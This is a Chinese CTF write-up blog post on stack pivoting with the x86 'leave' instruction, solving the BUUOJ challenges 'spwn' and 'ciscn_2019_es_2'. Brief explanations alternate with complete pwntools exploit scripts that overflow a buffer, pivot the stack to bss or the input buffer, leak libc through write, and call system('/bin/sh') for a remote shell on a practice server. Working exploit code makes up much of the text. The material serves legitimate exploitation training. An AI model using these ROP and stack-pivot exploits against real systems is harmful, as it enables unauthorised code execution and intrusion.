Niyah

栈迁移

# spwn(栈 ->bss)

本题考察的是栈迁移

进入 IDA 进行分析,我们可以看到本题为我们提供了两个输入:

第一次输入我们可以把数据写入到程序的 bss 段;

第二次输入我们可以造成溢出,但是只能 8 个字节,做 rop 链显然是太短了,但好在程序之中有 leave 片段

在 32 位汇编下相当于:

mov esp,ebp;
pop ebp

将栈顶指针 esp 指向帧指针 ebp,然后 pop 备份的原帧指针到 ebp,实现栈迁移

由于我们的程序是 32 位程序,我们可以覆盖把 ebp 覆盖成 bss 段地址之后执行 leave 指令,这样我们 ebp 便指向了 bss 段,我们便可以执行我们第一次输入到 bss 段的内容;

之后是正常的 rop 过程。

完整流程如下:

1. 第一轮的第一次输入把泄露函数地址的 rop 链写入 bss 段;

2. 第一轮的第二次输入进行栈迁移至 bss 段将函数地址泄露;

3. 跳转到 main 进行第二轮执行;

3. 查找 libc 库;

4. 使用 system 构造新的 rop 链;

5. 第二轮的第一次输入输入新的 rop 链;

6. 第一轮的第二次输入进行栈迁移至 bss 来 getshell。

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level="debug"

p = remote ("node3.buuoj.cn",28070)

write_plt = 0x8048380
write_got = 0x804A01C
mian_addr = 0x8048513 
leave_ret= 0x08048511    #leave 汇编片段leave指令是将栈顶指针esp指向帧指针ebp,然后pop备份的原帧指针到%ebp,实现栈迁移
bss_addr = 0x804A300

payload1 = p32(write_plt) + p32(mian_addr) + p32(1)+p32(write_got) +p32(4)
payload2 = "a"*0x18 + p32(bss_addr-4)+p32(leave_ret)   #第二个为ebp,因为有pop ebp的缘故,会将栈顶指针esp - 4,将ebp覆盖为想要调整到的位置需-4

p.sendafter("name?",payload1)
p.sendafter("say?",payload2)

write_addr = u32(p.recv(4))

print hex(write_addr)

libc = LibcSearcher("write",write_addr)
libcbase = write_addr - libc.dump("write")
sys_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload3 = p32(sys_addr) + p32(mian_addr)+ p32(binsh_addr)

p.sendafter("name?",payload3)

p.sendafter( "say?",payload2)

p.interactive()

#这题用sendline不行,原因是sendline会发送一个回车符

# ciscn_2019_es_2(栈 -> 栈)

同样是一道栈迁移题目,根据 IDA 打开来看可以发现我们的输入距离 ebp 位置有 0x28 个字节,我们可以填入 0x28 个字节让接下来的 printf 函数直接打印出 ebp 的值。

接下来我们可以动调一下来看看我们 ebp 的值距离我们输入字符串位置的偏移是多少,可以发现是 0x38,那么我们就能知道我们输入的地址为 ebp 的值减去 0x38

接下来是第二次输入,需要知道第二次输入同样是 0x30 个字符:本题目中没有现成的’/bin/sh’字符,我们需要构造一个指向我们输入的’/bin/sh’地址的值来作为 system 函数的参数,填满 0x28 个字节后覆盖 ebp 指向我们的输入地址,之后是 leave 栈迁移 getshell

#coding=utf-8
from pwn import *
context.log_level='debug'

#p=process('ciscn_2019_es_2')

p = remote("node3.buuoj.cn",26666)

leave = 0x080484b8
system_plt=0x8048400 

payload1 ='a'*0x20+'abcdefgh'  #完全覆盖至printf输出栈上,输出ebp

#这里esp距离ebp有0x28个字节我们直接输入0x28个来打印ebp算出偏移
#刚好能输出ebp就不要多想,直接覆盖0x28就完事

p.send(payload1)
p.recvuntil('abcdefgh')
s_adder = u32(p.recv(4)) - 0x38

print(hex(s_adder))
payload2=('bbbb'+ p32(system_plt) +'cccc' + p32(s_adder + 0x10)+'/bin/sh\x00').ljust(0x28,'a')+ p32(s_adder) + p32(leave)

p.send(payload2)

p.interactive()

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。